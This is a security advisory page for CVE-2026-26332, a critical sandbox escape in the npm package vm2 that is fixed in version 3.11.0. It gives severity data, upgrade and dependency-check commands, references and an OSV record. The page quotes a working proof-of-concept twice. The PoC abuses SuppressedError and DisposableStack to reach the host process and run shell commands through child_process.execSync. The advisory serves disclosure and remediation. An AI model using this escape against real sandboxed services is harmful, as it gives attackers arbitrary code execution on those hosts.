CVE-2026-26332: Vm2 VM2 Has A Sandbox Escape Vulnerability

CRITICAL
Advisory Identifier: GHSA-55hx-c926-fr95
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CVSS 9.8
CWE-693 CWE-94
Published
Advisory Summary

CVE-2026-26332 is a CRITICAL (CVSS 9.8) vm2 has a sandbox escape vulnerability (CWE-693: Protection Mechanism Failure) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 has a sandbox escape issue via suppressederror. Remediation is available by upgrading affected packages to version 3.11.0.

CVE-2026-26332 at a Glance

CVE Identifier CVE-2026-26332
GHSA Identifier GHSA-55hx-c926-fr95
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-693: Protection Mechanism Failure
Affected Product Vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-26332

To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.11.0 
npm install vm2@3.11.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-26332, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.0), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code. ### PoC ```js const { VM } = require("vm2"); const vm = new VM(); vm.run(` const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:child_process"); execSync("echo pwned", { stdio: "inherit" }); } `); ```

CVE-2026-26332 Affected Vm2 Versions

1 component(s)
Fixed Versions:
3.11.0
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm/vm2
npm
< 3.11.0
3.11.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95
NVD — CVE-2026-26332 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-26332
Security Fix Commit FIX COMMIT
https://github.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0
Security Fix Commit FIX COMMIT
https://github.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913f
Security Fix Commit FIX COMMIT
https://github.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81ca
Security Fix Commit FIX COMMIT
https://github.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7d
Security Fix Commit FIX COMMIT
https://github.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338
Vm2 Source Repository REPOSITORY
https://github.com/patriksimek/vm2
Vm2 Release RELEASE
https://github.com/patriksimek/vm2/releases/tag/v3.11.0

Frequently Asked Questions

What is CVE-2026-26332?
CVE-2026-26332 is a security vulnerability in Vm2 involving VM2 Has a Sandbox Escape Issue via SuppressedError under CWE-693: Protection Mechanism Failure.
Which Vm2 versions are affected?
Affected versions include releases prior to 3.11.0 across affected packages: vm2.
What version fixes CVE-2026-26332?
Upgrading to 3.11.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.11.0. Upgrade your dependency to 3.11.0 or later.
What is the CVSS score of CVE-2026-26332?
CVE-2026-26332 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-26332?
CVE-2026-26332 is classified under CWE-693: Protection Mechanism Failure (The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.).
How can I check npm dependencies for CVE-2026-26332?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-55hx-c926-fr95",
  "modified" : "2026-05-05T16:33:45Z",
  "published" : "2026-05-05T16:33:45Z",
  "aliases" : [ "CVE-2026-26332" ],
  "summary" : "VM2 Has a Sandbox Escape Issue via SuppressedError",
  "details" : "In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.\n\n### PoC\n```js\nconst { VM } = require(\"vm2\");\n\nconst vm = new VM();\n\nvm.run(`\nconst ds = new DisposableStack();\nds.defer(() => { throw null; });\nds.defer(() => {\n  const e = Error();\n  e.name = Symbol();\n  e.stack;\n});\ntry {\n  ds.dispose();\n} catch(e) {\n  const Function = e.suppressed.constructor.constructor;\n  const process = new Function(\"return process;\")();\n  const { execSync } = process.mainModule.require(\"node:child_process\");\n  execSync(\"echo pwned\", { stdio: \"inherit\" });\n}\n`);\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-26332"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81ca"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T16:33:45Z",
    "nvd_published_at" : "2026-05-04T17:16:22Z"
  }
}